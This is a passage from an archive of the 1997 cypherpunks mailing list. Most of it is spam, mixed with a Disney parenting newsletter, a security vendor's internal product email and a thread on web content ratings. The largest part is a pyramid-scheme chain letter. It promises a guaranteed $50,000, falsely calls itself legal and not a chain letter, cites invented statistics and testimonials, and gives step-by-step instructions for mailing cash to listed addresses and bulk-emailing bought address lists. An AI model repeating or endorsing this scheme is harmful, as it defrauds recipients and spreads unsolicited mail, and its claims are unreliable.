received 100 or more orders for REPORT #2 -- take a deep breath --
you can sit back and relax, because YOU ARE GOING TO MAKE AT LEAST
$50,000!" Mathematically it is a proven guarantee. Of those who
have participated in the program and reached above GUARANTEES,
all have reached their $50,000 goal. Also remember, every time
your name is moved down the list you are in front of a different
REPORT, so you can keep track of your program by knowing what
people are ordering from you. ITS THAT EASY, REALLY, IT IS!!

^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^

REMEMBER:

"HE WHO DARES NOTHING, NEED NOT HOPE FOR ANYTHING."

"INVEST A LITTLE TIME, ENERGY, AND MONEY NOW OR
SEARCH FOR IT THE REST OF YOUR LIFE"

Thank you for your time.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 13281148@usa.net
Date: Thu, 24 Jul 1997 08:21:54 -0700 (PDT)
To: handpicked@yourturn.com
Subject: IT'S YOUR TURN! $50,000 in 90 Days, Guaranteed!!!
Message-ID: <178602760034FBB07049@future.com>
MIME-Version: 1.0
Content-Type: text/plain



For those of us who HATE selling and who don't know 
a down line from a clothes line .....

You are about to make at least $50,000 - In less than 90 days.
Read the enclosed program....THEN READ IT AGAIN!....
Please don't make the same mistake I made!  I THREW this 
letter away at least twice before I took the time to read it. When I
did, it dawned on me that this could work! Take a look for yourself! A
copy of the letter I received is below.

John

My name is Christopher Erickson.  Two years ago, the corporation I
worked at for the past twelve years down-sized and my position was
eliminated.  After unproductive job interviews,  I decided to open my
own business.  Over the past year, I incurred many unforeseen
financial problems.  I owed my family, friends, and creditors over
$35,000.  The economy was taking a toll on my business and I just
couldn't seem to make ends meet.  I had to refinance and borrow
against my home to support my family and struggling business.  I truly
believe it was wrong for me to be in debt like this.  AT THAT MOMENT
something significant happened in my life and I am writing to share my
experience in hopes that this will change your life
FOREVER....FINANCIALLY!!!

In mid-December, I received this program via email.  Six months prior
to receiving this program I had been sending away for information on
various business opportunities.  All of the programs I received, in my
opinion, were not cost effective.  They were either too difficult for
me to comprehend or the initial investment was too much for me to risk
to see if they worked or not.  One claimed I'd make a million dollars
in one year...it didn't tell me I'd have to write a book to make it.

But like I was saying, in December of '92 I received this program.  I
didn't send for it, or ask for it, they just got my name off a mailing
list.  THANK GOODNESS FOR THAT!!!  After reading it several times, to
make sure I was reading it correctly, I couldn't believe my eyes. 
Here was a MONEY-MAKING PHENOMENON.  I could invest as much as I
wanted to start, without putting me further in debt.  After I got a
pencil and paper and figured it out, I would at least get my money
back.  After determining that the program is LEGAL and NOT A CHAIN
LETTER, I decided "WHY NOT".

Initially I sent out 10,000 emails.  It only cost me about $15.00 for
my time on-line.  The great thing about email is that I didn't need
any money for printing to send out the program, only the cost to
fulfill my orders.  I am telling you like it is, I hope it doesn't
turn you off, but I promised myself that I would not "rip-off" anyone,
no matter how much money it cost me!.

In less than one week, I was starting to receive orders for REPORT #1.
By January 13th, I had received 26 orders for REPORT #1.  When you
read the GUARANTEE in the program, you will see that "YOU MUST RECEIVE
15 TO 20 ORDERS FOR REPORT #1 WITHIN TWO WEEKS.  IF YOU DON'T, SEND
OUT MORE PROGRAMS UNTIL YOU DO!"  My first step in making $50,000 in
20 to 90 days was done.  By January 30th, I had received 196 orders
for REPORT #2.  If you go back to the GUARANTEE, "YOU MUST RECEIVE 100
OR MORE ORDERS FOR REPORT #2 WITHIN TWO WEEKS.  IF NOT, SEND OUT MORE
PROGRAMS UNTIL YOU DO. ONCE YOU HAVE 100 ORDERS, THE REST IS EASY,
RELAX, YOU WILL MAKE YOUR $50,000 GOAL."  Well, I had 196 orders for
REPORT #2, 96 more than I needed.  So I sat back and relaxed.  By
March 19th, of my emailing of 10,000, I received $58,000 with more
coming in every day.

I paid off  ALL my debts and bought a much needed new car.  Please
take time to read the attached program, IT WILL CHANGE YOUR LIFE
FOREVER! Remember,  it wont work  if you don't try it.  This program
does work, but you must follow it EXACTLY!  Especially the rules of
not trying to place your name in a different place.  It doesn't work,
you'll lose out on a  lot  of  money!  REPORT  #2  explains this. 
Always follow the guarantee, 15 to 20  orders  for REPORT #1, and 100
or more orders for REPORT #2 and you will make  $50,000 or more in 20
to 90 days.  I AM LIVING PROOF THAT IT WORKS !!!

If you choose not to participate in this program, I'm sorry.  It
really is a great opportunity with little cost or risk to you.  If you
choose to participate, follow the program and you will be on your way
to financial security.

If you are a fellow business owner and you are in financial trouble
like I was, or you want to start your own business, consider this a
sign.  I DID!

                                        Sincerely,
                                        Christopher Erickson

PS  Do you have any idea what 11,700 $5 bills ($58,000) look like
piled up on a kitchen table? IT'S AWESOME!

"THREW IT AWAY"

"I  had  received  this program before.  I  threw  it away, but later
wondered if I shouldn't have given it a try.  Of course, I had no idea
who to contact to get a copy, so I had to wait until I was emailed
another copy of the program.  Eleven months passed, then it came.  I
DIDN'T throw this one away.  I made $41,000 on the first try."

                                        Dawn W., Evansville, IN

"NO FREE LUNCH"

"My late father always told me, 'remember, Alan, there is no free
lunch in life.  You get out of life what you put into it.'  Through
trial and error and a somewhat slow frustrating start, I finally
figured it out. The program works very well, I just had to find the
right target group of people to email it to.  So far this year, I have
made over $63,000 using this program.  I know my dad would have been
very proud of me."

                                        Alan B., Philadelphia, PA

A PERSONAL NOTE FROM THE ORIGINATOR OF THIS PROGRAM

By the time you have read the enclosed information and looked over the
enclosed program and reports, you should have concluded that such a
program,  and  one that is legal,  could not have been created by an
amateur.

Let me tell you a little about myself.  I had a profitable business
for ten years.  Then in 1979 my business began falling off.  I was
doing the same things that were previously successful for me, but it
wasn't working.  Finally, I figured it out.  It wasn't me, it was the
economy. Inflation and recession had replaced the stable economy that
had been with us since 1945.  I don't have to tell you what happened
to the unemployment rate...because many of you know from first hand
experience. There were more failures and bankruptcies than ever
before.

The middle class was vanishing.  Those who knew what they were doing
invested wisely and moved up.  Those who did not, including those who
never had anything to save or invest, were moving down into the ranks
of the poor.  As the saying goes, "THE RICH GET RICHER AND THE POOR
GET POORER."  The traditional methods of making money will never allow
you to "move up" or "get rich", inflation will see to that.

You have just received information that can give you financial freedom
for the rest of your life, with "NO RISK" and "JUST A LITTLE BIT OF
EFFORT."  You can make more money in the next few months than you have
ever imagined.

I should also point out that I will not see a penny of your money, nor
anyone else who has provided a testimonial for this program.  I have
already made over FOUR MILLION DOLLARS!  I have retired from the
program after sending out over 16,000 programs.  Now I have several
offices which market this and several other programs here in the US
and overseas.  By the Spring, we wish to market the 'Internet' by a
partnership with AMERICA ON LINE.

Follow the program EXACTLY AS INSTRUCTED.  Do not change it in any
way. It works exceedingly well as it is now.  Remember to email a copy
of this exciting program to everyone that you can think of.  One of
the people you send this to may send out 50,000...and your name will
be on every one of them!.  Remember though, the more you send out, the
more potential customers you will reach.

So my friend, I have given you the ideas, information, materials and
opportunity to become financially independent, IT IS UP TO YOU NOW!

"THINK ABOUT IT"

Before you delete this program from your mailbox, as I almost did,
take a little time to read it and REALLY THINK ABOUT IT.  Get a pencil
and figure out what could happen when YOU participate.  Figure out the
worst possible response and no matter how you calculate it, you will
still make a lot of money!  Definitely get back what you invested. 
Any doubts you have will vanish when your first orders come in.  IT
WORKS!

                                        Paul Johnson, Raleigh, NC

HERE'S HOW THIS AMAZING PROGRAM WILL MAKE YOU $$$$$$

Let's say that you decide to start small, just to see how it goes, and
we'll assume you and all those involved send out 2,000 programs each.
Let's also assume that the mailing receives a .5% response.  Using a
good list the response could be much better.  Also many people will
send out hundreds of thousands of programs instead of 2,000.  But
continuing with this example, you send out only 2,000 programs.  With
a 5% response, that is only 10 orders for REPORT #1.  Those 10 people
respond by sending out 2,000 programs each for a total of 20,000.  Out
of those .5%, 100 people respond and order REPORT #2.  Those 100 mail
out 2,000 programs each for a total of 200,000.  The .5% response to
that is 1,000 orders for REPORT #3.  Those 1,000 send out 2,000
programs each for a 2,000,000 total.  The .5% response to that is
10,000 orders for REPORT #4.  That's 10,000 five dollar bills for you.
CASH!!!!  Your total income in this example is $50 + $500 + $5000 +
$50,000 for a total of $55,550!!!!

REMEMBER FRIEND, THIS IS ASSUMING 1,990 OUT OF 2,000 PEOPLE YOU
MAIL TO WILL DO ABSOLUTELY NOTHING... AND TRASH THIS PROGRAM!
DARE TO THINK FOR A MOMENT WHAT WOULD HAPPEN IF EVERYONE
OR HALF SENT OUT 100,000 PROGRAMS INSTEAD OF ONLY 2,000.  Believe me,
many people will do that and more!  By the way, your cost to
participate in this is practically nothing.  You obviously already
have an internet connection and email is FREE!!!  REPORT#3 will show
you the best methods for bulk emailing and purchasing email lists.

THIS IS A LEGITIMATE, LEGAL, MONEY MAKING OPPORTUNITY.  It does not
require you to come in contact with people, do any hard work, and best
of all, you never have to leave the house except to get the mail.  If
you believe that someday you'll get that big break that you've been
waiting for, THIS IS IT!  Simply follow the instructions, and your
dream will come true.  This multi-level email order marketing program
works perfectly...100% EVERY TIME.  Email is the sales tool of the
future.  Take advantage of this non-commercialized method of
advertising NOW!!  The longer you wait, the more people will be doing
business using email.  Get your piece of this action!!

MULTI-LEVEL MARKETING (MLM) has finally gained respectability.  It is
being taught in the Harvard Business School, and both Stanford
Research and The Wall Street Journal have stated that between 50% and
65% of all goods and services will be sold throughout Multi-level
Methods by the mid to late 1990's.  This is a Multi-Billion Dollar
industry and of the 500,000 millionaires in the US, 20% (100,000) made
their fortune in the last several years in MLM.  Moreover, statistics
show 45 people become millionaires everyday through Multi-Level
Marketing.

INSTRUCTIONS

We at Erris Mail Order Marketing Business, have a method of raising
capital that REALLY WORKS 100% EVERY TIME.  I am sure that you could
use $50,000 to $125,000 in the next 20 to 90 days.  Before you say
"Bull", please read the program carefully.

This is not a chain letter, but a perfectly legal money making
opportunity.  Basically, this is what we do:  As with all multi-level
business, we build our business by recruiting new partners and selling
our products.  Every state in the USA allows you to recruit new multi-
level business partners, and we offer a product for EVERY dollar sent.
YOUR ORDERS COME AND ARE FILLED THROUGH THE MAIL, so you are not
involved in personal selling.  You do it privately in your own home,
store or office.

This is the GREATEST Multi-level Mail Order Marketing anywhere!

Step (1)   Order all four 4 REPORTS listed by NAME AND NUMBER.  Do 
           this by ordering the REPORT from each of the four 4 names 
           listed on the next page.  For each REPORT, send $5 CASH and 
           a SELF- ADDRESSED, STAMPED envelope  (BUSINESS SIZE #10) to
           the person listed for the SPECIFIC REPORT.  International
           orders should also include $1 extra for postage.  It is
           essential that you specify the NAME and NUMBER of the
           report requested to the person you are ordering from.  You
           will need ALL FOUR 4 REPORTS because you will be REPRINTING
           and RESELLING them. DO NOT alter the names or sequence
           other than what the instructions say.  IMPORTANT:  Always
           provide same-day service on all orders.

Step (2)   Replace  the  name  and  address  under  REPORT #1  with
           yours,  moving the one that was there down to REPORT #2.
           Drop  the  name and address under REPORT #2 to REPORT #3,
           moving the one that was there to REPORT #4.  The name and
           address that was under REPORT #4 is dropped from the list
           and this party  is  no doubt on the way to the bank.  When
           doing   this,   make   certain   you  type  the  names  and
           addresses ACCURATELY!  DO NOT MIX UP MOVING 
           PRODUCT/REPORT POSITIONS!!!

Step (3)   Having made the required changes in the NAME list, save it
           as a text (.txt) file in it's own directory to be used with
           whatever email program you like.  Again, REPORT #3 will
           tell you the best methods of bulk emailing and acquiring
           email lists.

Step (4)   Email a copy of the entire program (all of this is very
           important) to everyone whose address you can get your hands
           on. Start with friends and relatives since you can
           encourage them to take  advantage of this  fabulous 
           money-making opportunity.  That's what I did.  And they
           love me now, more than ever.  Then, email to anyone and
           everyone!  Use your imagination!  You can get email
           addresses from companies on the internet who specialize in
           email mailing lists.  These are very cheap, 100,000
           addresses for around $35.00.

IMPORTANT:  You won't get a good response if you use an old list, so
always request a FRESH, NEW list. You will find out where to purchase
these lists when you order the four 4 REPORTS.

ALWAYS PROVIDE SAME-DAY SERVICE ON ALL ORDERS!!!

REQUIRED REPORTS

***Order each REPORT by NUMBER and NAME***

ALWAYS SEND A SELF-ADDRESSED, STAMPED ENVELOPE
AND $5 CASH FOR EACH ORDER REQUESTING THE
SPECIFIC REPORT BY NAME AND NUMBER

____________________________________________________
REPORT #1 
"HOW TO MAKE $250,000 THROUGH MULTI-LEVEL SALES"

ORDER REPORT #1 FROM:  

BC Enterprises
2899 Agoura Rd, #299
Westlake Village, CA 91361

____________________________________________________
REPORT #2
"MAJOR CORPORATIONS AND MULTI-LEVEL SALES"

ORDER REPORT #2 FROM:

LDR Enterprises	
204 High Ridge Dr
Belleville, IL  62223

____________________________________________________
REPORT #3 
"SOURCES FOR THE BEST MAILING LISTS"

ORDER REPORT #3 FROM:

C & A Enterprises
1003 W Main #1B
Vienna, IL  62995

____________________________________________________
REPORT #4 
"EVALUATING MULTI-LEVEL SALES PLANS"

ORDER REPORT #4 FROM:

Hill Enterprises
7060 W. Sheridan Rd.
Suite 311
Chicago, IL

____________________________________________________

CONCLUSION

I am enjoying my fortune that I made by sending out this program. You
too, will be making money in 20 to 90 days, if you follow the SIMPLE
STEPS outlined in this mailing.

To be financially independent is to be FREE.  Free to make financial
decisions as never before.  Go into business, get into investments,
retire or take a vacation.  No longer will a lack of money hold you
back.

However, very few people reach financial independence, because when
opportunity knocks, they choose to ignore it.  It is much easier to
say "NO" than "YES", and this is the question that you must answer. 
Will YOU ignore this amazing opportunity or will you take advantage of
it? If you do nothing, you have indeed missed something and nothing
will change.  Please re-read this material, this is a special
opportunity. If you have any questions, please feel free to write to
the sender of this information.  You will get a prompt and informative
reply.

My method is simple.  I sell thousands of people a product for $5 that
costs me pennies to produce and email.  I should also point out that
this program is legal and everyone who participates WILL make money.
This is not a chain letter or pyramid scam.  At times you have
probably received chain letters, asking you to send money, on faith,
but getting NOTHING in return, NO product what-so-ever!  Not only are
chain letters illegal, but the risk of someone breaking the chain
makes them quite unattractive.

You are offering a legitimate product to your people.  After they
purchase the product from you, they reproduce more and resell them.
It's simple free enterprise.  As you learned from the enclosed
material, the PRODUCT is a series of four 4 FINANCIAL AND BUSINESS
REPORTS.  The information contained in these REPORTS will not only
help you in making your participation in this program more rewarding,
but will be useful to you in any other business decisions you make in
the years ahead. You are also buying the rights to reprint all of the
REPORTS, which will be ordered from you by those to whom you mail this
program.  The concise one and two page REPORTS you will be buying can
easily be reproduced at a local copy center for a cost off about 3
cents a copy. Best wishes with the program and Good Luck!

"IT WAS TRULY AMAZING"

"Not being the gambling type, it took me several weeks to make up my
mind to participate in this program.  But conservative as I am, I
decided that the initial investment was so little that there was no
way that I could not get enough orders to at least get my money back. 
BOY, was I ever surprised when I found my medium sized post office box
crammed with orders!  I will make more money this year than any ten
years of my life before."

                                        Mary Riceland, Lansing, MI

TIPS FOR SUCCESS

Send for your four 4 REPORTS immediately so you will have them when
the orders start coming in.  When you receive a $5 order, you MUST
send out the product/service to comply with US Postal and Lottery
laws.  Title 18 Sections 1302 and 1341 specifically state that:  "A
PRODUCT OR SERVICE MUST BE EXCHANGED FOR MONEY RECEIVED."

WHILE YOU WAIT FOR THE REPORTS TO ARRIVE:

1.    Name your new company. You can use your own name if you
       desire.

2.    Get a post office box (preferred).

3.    Edit the names and addresses on the program. You must
       remember, your name and address go next to REPORT #1 
       and the others all move down one, with the fourth one being 
       bumped OFF the list.

4.   Obtain as many email addresses as possible to send until you
       receive the information on mailing list companies in REPORT #3.

5.   Decide on the number of programs you intend to send out.  The
      more you send, and the quicker you send them, the more money
      you will make.

6.    After mailing the programs, get ready to fill the orders.

7.   Copy the four 4 REPORTS so you are able to sent them out as
      soon as you receive an order. IMPORTANT: ALWAYS PROVIDE
      SAME-DAY SERVICE ON ORDERS YOU RECEIVE!

8.    Make certain the letter and reports are neat and legible.

YOUR GUARANTEE

The check point which GUARANTEES your success is simply this:  you
must receive 15 to 20 orders for REPORT #1.  This is a must!!!  If you
don't within two weeks, email out more programs until you do.  Then a
couple of weeks later you should receive at least 100 orders for
REPORT #2, if you don't, send out more programs until you do.  Once
you have received 100 or more orders for REPORT #2, (take a deep
breath) you can sit back and  relax,  because  YOU  ARE  GOING TO 
MAKE  AT  LEAST  $50,000. Mathematically  it  is  a  proven 
guarantee.   Of  those  who  have participated in the program and
reached the above GUARANTEES-ALL have reached their $50,000 goal. 
Also, remember, every time your name is moved down the list you are in
front of a different REPORT, so you can keep track of your program by
knowing what people are ordering from you. IT'S THAT EASY, REALLY, IT
IS!!!

REMEMBER:
"HE WHO DARES NOTHING, NEED NOT HOPE FOR ANYTHING."
"INVEST A LITTLE TIME, ENERGY AND MONEY NOW OR
SEARCH FOR IT FOR THE REST OF YOUR LIFE."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: info@we-work-for-you.com
Date: Thu, 24 Jul 1997 14:34:23 -0700 (PDT)
To: info@we-work-for-you.com
Subject: Put Us To Work For You TODAY!!
Message-ID: <199707241733.NAA03494@hitsrus.com>
MIME-Version: 1.0
Content-Type: text/plain


*** To be removed from all of our future e-mails please
reply with a subject of 'remove' or to be added to a
national remove list please visit http://www.iemmc.org
for name removal information. ***

Visit http://www.we-work-for-you.com TODAY!!

How many times has opportunity knocked and you have not been at 
home?  Today, please take a moment to OPEN THIS DOOR! For many years, 
I have been convinced that there is a business opportunity out there 
that any and everyone could take advantage of, because of the sheer 
simplicity of the business.

I have found such a business opportunity!  What if you could have 
your own HOME BUSINESS and you could hire sales people to do all 
of the selling for you with NO PERSONAL SELLING OF ANY KIND?  
This business has NO OVERHEAD, NO EMPLOYEES, NO SELLING, NO INVENTORY,
NO MEETINGS, NO HASSLES, and did I mention 
NO PERSONAL SELLING OF ANY KIND!!

The best part of this business is that you are not paying the thousands 
of people who will be SELLING FOR YOU!  If you choose you can just sit 
back and cash your checks.  Is this free money?  Not exactly, but it's 
as close as it gets.  You are going to be making money from other 
people's marketing efforts.  The fact that you are reading this e-mail 
is proof that we will be working for you!

It will only take a few minutes to look further at this AMAZING 
OPPORTUNITY!!  Someone HAS to make money from our marketing efforts.  
This could be you!

Please visit our Internet web site at : http://www.we-work-for-you.com
                                  or
Reply to this e-mail with 'info' as the subject and you will quickly 
receive an informative e-mail reply.

There is NO OBLIGATION for looking at our web site or replying to our 
e-mail so take a few moments to look at this INCREDIBLE BUSINESS OPPORTUNITY!

Sincerely,

Razor Sharp Financial Services
       ~ Helping People Achieve Financial Freedom

info@we-work-for-you.com







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Family.COM" <mail@family.com>
Date: Sun, 27 Jul 1997 06:50:02 -0700 (PDT)
To: dcomnewsletter3@disneyblast.com
Subject: News from Disney Online - July 1997
Message-ID: <33D81496.35FEBFB0@family.com>
MIME-Version: 1.0
Content-Type: text/plain


Disney Online welcomes your questions and comments. If you have a
question or comment, please point your browser to http://www.family.com,
and click on "Write Us" in the right hand index of our home page. We
suggest you copy into your message the part of the newsletter that
relates to your question!

Dear Disney.com Guest,

We'd like to introduce you to a site designed to meet all your parenting
needs -- Disney's Family.com.

In the weeks ahead, Family.com will bring you many special features to
help you be the best parent possible.  Don't miss our stories on travel,
food, activities, child development and more.

~~~~~~~~~~~~~~~~~~~~~FREE OFFER~~~~~~~~~~~~~~~~~~~

This month we have exciting news. For 30 days, you can see and use all
of Family.com for free, including our searchable database of stories, an
interactive cookbook to help you cook better and faster, and our large
network of bulletin boards. You also get access to  all of our local
event calendars, features and resources, provided by over 100 regional
parenting publications in the U.S. and Canada.

Come to http://www.family.com and enjoy the entire site for free!


Here's just some of what's happening on Family.com this week :

~~~~~~~~~~~~~~~~~~PARENTING EXPERTS~~~~~~~~~~~~~~~~

* Penelope Leach helps you deal with a clingy toddler

* Jan Faull tells how to get big kids to do their chores

* Barton Schmitt explains how to handle the five kinds of temper
tantrums.

You can also find advice about your own specific parenting problems in
our vast database, which includes past columns from these experts.  Read
it all at:

http://www.family.com

~~~~~~~~~~~~~~~~~~~ACTIVITIES~~~~~~~~~~~~~~~~~~~~~

* Ideas for games that will keep kids cool on hot summer days

Search the database for age-appropriate ideas using supplies you already
have on hand.  Find it at http://www.family.com.

~~~~~~~~~~~~~~~~~~~~TRAVEL~~~~~~~~~~~~~~~~~~~~~~

* Ideas for games in the car from Penny Whistle, a popular feature that
originally ran in Family Planet.


~~~~~~~~~~~~~~~~~~~~~FOOD~~~~~~~~~~~~~~~~~~~~~~~

* Quick hot weather meals using just a can of tuna

Plus unlimited access to our Recipe Express, an interactive cookbook
that will find a recipe for you, make the shopping list, and even help
plan your meals.  Check out how easy it is at:

http://www.family.com

~~~~~~~~~~~~~~~~~~~~LEARNING~~~~~~~~~~~~~~~~~~~~

* A guide to teaching your kids how to handle (and appreciate) money

Search the database for ideas to help your children keep learning all
summer long.

~~~~~~~~~~~~~~~~~~~D-CARDS~~~~~~~~~~~~~~~~~~~~~~~~

* You get unlimited free access to D-Cards, our library of electronic
greeting cards. We've got one for every occasion. Nothing says "Happy
Birthday" or "I'm thinking of you" like a D-Card.  To send your message
today, visit:

http://www.family.com

~~~~~~~~~~~~~~~~~~~ALL THIS PLUS~~~~~~~~~~~~~~~~~

**EVERY WEEK DAY**

--a different special travel deal

and

--a different project to keep kids busy and interested


And these **NEW FEATURES**, provided by YOU, our guests:

--WE WERE THERE, stories from real families all across the country about
where they went on vacation -- and what they liked and didn't like 

and

--FAVORITE RECIPES -, appetizers, main dishes, side dishes and desserts
from your recipe files.


FINALLY, we put it all together for you on our Bulletin Boards. Find
even more ideas, and exchange information, help and advice with other
parents just like you.

It's all at http://www.family.com.

===================================================

We've sent you this note because of your previous interest in
family-related material. If you no longer wish to receive news about
Family.com, please go to http://www.family.com/News and we'll promptly
remove you from the list.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 05378440@d.com
Date: Thu, 24 Jul 1997 22:21:03 -0700 (PDT)
To: members@aol.com
Subject: Toll Free 800# Internet Access for $19.95 mo
Message-ID: <199707250520.WAA29493@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


*******************************************************************************
Market toll-free 800# high speed 56k Internet access to customers 
     priced at $19.95 per month - flat rate - with no hidden fees. 
     *********************************************************************

*  Toll free connection great for travelers & rural residents. 
*  All accounts include 5 megs of webspace.
*  Marketing Partners given 15 megs of web space.
*  Partners needed to market. Only $29.95 to become Marketing Partner.
*  Fast Start Bonus of $18 for each new subscriber you sign-up, paid weekly, 
    plus downline royalties of 3% to 8% paid monthly.

To receive instant information on toll free Internet access,
send us an email at: 800intrnet@answerme.com

Click Here  ------>>  mailto:800intrnet@answerme.com  <<------  Click Here

Put the word " Internet " in the subject and click send, you will 
immediately receive details.

Or visit our Web Site at:  http://205.152.38.41/800access.htm  

To hear plan through voice message (24 hours), call 901-664-6886

---------------------------------------------------------------------------------------------------------------------------
To remove from mailing list send an email to: details1@savetrees.com
   Click Here --->>  mailto:details1@savetrees.com  <<--- Click Here
              Put the word " Remove " in the subject and click send  
Disregard that the address says details1, it is only for removing from list
--------------------------------------------------------------------------------------------------------------------------









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Petri Laakkonen <Petri.Laakkonen@DataFellows.com>
Date: Fri, 25 Jul 1997 02:35:50 -0700 (PDT)
To: Tom Helenius <F-Secure-Press-Global@DataFellows.com
Subject: Re: Data Fellows announces F-Secure SSH Tunnel&Terminal
Message-ID: <3.0.32.19970725011140.008fac60@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


Hi guys,

I'm afraid of that US sales has fallen off the tracks. We need to catch up
ASAP.


At 07:58 PM 7/24/97 +0200, Tom Helenius wrote:
>FOR IMMEDIATE RELEASE
>23 July, 1997
>
>Data Fellows announces F-Secure SSH Tunnel&Terminal
>
What's this product all in all ? Has this now replaced F-Secure SSH or is
this one additional derivative of SSH a'la ISP SSH ?

Are the features same as for the most recent SSH clients/servers ? HOw does
this product differ from SSH ?

Any data sheets ?

Is the software

a) shipping
b) downloadable from the web ?
>The remote worker can use e-mail, Internet browser, database tools and all
>the usual applications at home, on the road or in any place with Internet
>access. The big difference, though invisible to the remote worker, is that
>all data communication between the server in the office and the remote user
>is flowing through an encrypted tunnel.
>
Does this configure itself automatically for most popular office apps as
discussed some time earlier, or do admins still need to do the installation
manually for each computer or count on users doing this themselves ?

>F-Secure SSH Tunnel&Terminal provides strong encryption of data and thus
>sets a new standard for secure remote working. Existing solutions like
>Cisco Systems L2F, IETF L2TP and firewalls don't provide strong encryption
>and authentication, which makes these solutions insecure against
>eavesdropping and IP spoofing attacks. In addition to encrypted tunnels, 
>F-Secure Tunnel&Terminal also provides secure terminal connections to UNIX
>hosts and secures UNIX X11 applications.
>
What would be F-Secure Tunnel's added value over MS pptp ?
>
>The automatic deployment tool enables straightforward company-wide
>installation and updates.
>
Interesting. Tell us more about this ?
>
>
>F-Secure SSH Tunnel&Terminal is available for win3.1, win95, winNT and UNIX
>operating systems worldwide in the end of July, 1997.
>
How about our friends from Cupertino (e.g. Apple) ?
>
Thanks for the additional info in advance,

Petri

--------------------------------------------------------------------
Petri.Laakkonen@DataFellows.com, World Wide Web: http://www.DataFellows.com

Data Fellows U.S headquarters has moved ! Our new contacts as of March
24th, 1997 are:

Data Fellows 
675 N. First Street, Suite 605
San Jose, CA 95112
phone (408) 938-6700, fax (408) 938-6701

********************************************************************* 
* 				F-Secure              		      *
*            Award-winning Security for Peace of Mind               *
*               from the Desktop to the Internet                    *
*									      *	
*	 	http://www.DataFellows.com/                           *
********************************************************************




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: info@we-work-for-you.com
Date: Fri, 25 Jul 1997 11:37:02 -0700 (PDT)
To: info@we-work-for-you.com
Subject: Put Us To Work For You TODAY!!
Message-ID: <199707251433.KAA29083@hitsrus.com>
MIME-Version: 1.0
Content-Type: text/plain


*** To be removed from all of our future e-mails please
reply with a subject of 'remove' or to be added to a
national remove list please visit http://www.iemmc.org
for name removal information. ***

Visit http://www.we-work-for-you.com TODAY!!

How many times has opportunity knocked and you have not been at 
home?  Today, please take a moment to OPEN THIS DOOR! For many years, 
I have been convinced that there is a business opportunity out there 
that any and everyone could take advantage of, because of the sheer 
simplicity of the business.

I have found such a business opportunity!  What if you could have 
your own HOME BUSINESS and you could hire sales people to do all 
of the selling for you with NO PERSONAL SELLING OF ANY KIND?  
This business has NO OVERHEAD, NO EMPLOYEES, NO SELLING, NO INVENTORY,
NO MEETINGS, NO HASSLES, and did I mention 
NO PERSONAL SELLING OF ANY KIND!!

The best part of this business is that you are not paying the thousands 
of people who will be SELLING FOR YOU!  If you choose you can just sit 
back and cash your checks.  Is this free money?  Not exactly, but it's 
as close as it gets.  You are going to be making money from other 
people's marketing efforts.  The fact that you are reading this e-mail 
is proof that we will be working for you!

It will only take a few minutes to look further at this AMAZING 
OPPORTUNITY!!  Someone HAS to make money from our marketing efforts.  
This could be you!

Please visit our Internet web site at : http://www.we-work-for-you.com
                                  or
Reply to this e-mail with 'info' as the subject and you will quickly 
receive an informative e-mail reply.

There is NO OBLIGATION for looking at our web site or replying to our 
e-mail so take a few moments to look at this INCREDIBLE BUSINESS OPPORTUNITY!

Sincerely,

Razor Sharp Financial Services
       ~ Helping People Achieve Financial Freedom

info@we-work-for-you.com







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 25 Jul 1997 10:52:50 -0700 (PDT)
To: James Love <love@cptech.org>
Subject: Re: Yet another self-labeling system (do you remember -L18?)
In-Reply-To: <33D8E731.8A663470@cptech.org>
Message-ID: <Pine.GSO.3.95.970725104808.22013B-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain


Jamie, as you know, we disagree on your approach to self-labeling.

For the purposes of argument, let us say that we can agree that some,
extreme, sites are unsuitable for children. But the problems arise not on
the extremes, but in the great grey center.

Where do you draw the line? Therein lies the rub.

-Declan


On Fri, 25 Jul 1997, James Love wrote:

> Tim, if you think that no web site are unambiguously inappropriate for
> children, then you are in a state of denial.  However, while I don't
> expect to change your mind on that point, let me set the record straight
> on your note.  I don't favor RSACi or other PICS systems.  I think these
> are a mistake, and should be resisted.  However, I do favor a far less
> ambitious and less informative system (less is more, as far as I am
> concerned), which involves a simple, single voluntary tag, selected by
> the web page publisher, at their discretion, of the nature of 
> 
> <META NAME="Rating" CONTENT="adult">
> 
> I think this is quite different from RSACi or SafeSurf's system, for the
> reasons mentioned by my missive to Jonah.  
> 
> 
>    Jamie   <love@cptech.org>
> 
> 
> Tim May wrote:
> > 
> > At 9:16 AM -0700 7/25/97, Declan McCullagh wrote:
> > >---------- Forwarded message ----------
> > >Date: Fri, 25 Jul 1997 12:08:32 -0400 (EDT)
> > >From: James Love <love@cptech.org>
> > >To: Jonah Seiger <jseiger@cdt.org>
> > >Cc: Declan McCullagh <declan@well.com>,
> > fight-censorship@vorlon.mit.edu,
> > >    chris_barr@cnet.com
> > >Subject: Re: CDT, RSACi, and "public service" groups
> > >
> > >
> > >Jonah, I think the problems with the RSACi rating system are pretty
> > >obvious, and I also think it should be obvious that *any* rating
> > system
> > >that would aspire to rate all or even a significant number of web
> > pages
> > >would be a bad thing.  That said, it seems to me that there exist web
> > >pages that are unambiguously inappropriate for children.  Has CDT
> > rejected
> > 
> > "Unambiguously inappropriate for children"?
> > 
> > No such thing. I can think of many, many things which many consider
> > inappropriate for children (what age?), but which others, including
> > myself,
> > consider perfectly appropriate. I see no particular need to recite
> > examples
> > here.
> > 
> > Even with "obscenity," whatever that is (I seem not to know it when I
> > see
> > it, which would make me a poor Supreme Court Justice), that there are
> > obscenity prosecutions and trials would seem to indicate that such
> > materials are not "unambigously obscene."
> > 
> > The "mandatory voluntary" PICS/RSACi ratings, with penalties
> > (presumably)
> > for "mislabeling," just are another form of content control.
> > 
> > If they are truly voluntary, then people are free to say that a nudist
> > site
> > is appropriate for children, or not to label at all...the null label
> > is
> > just another label.
> > 
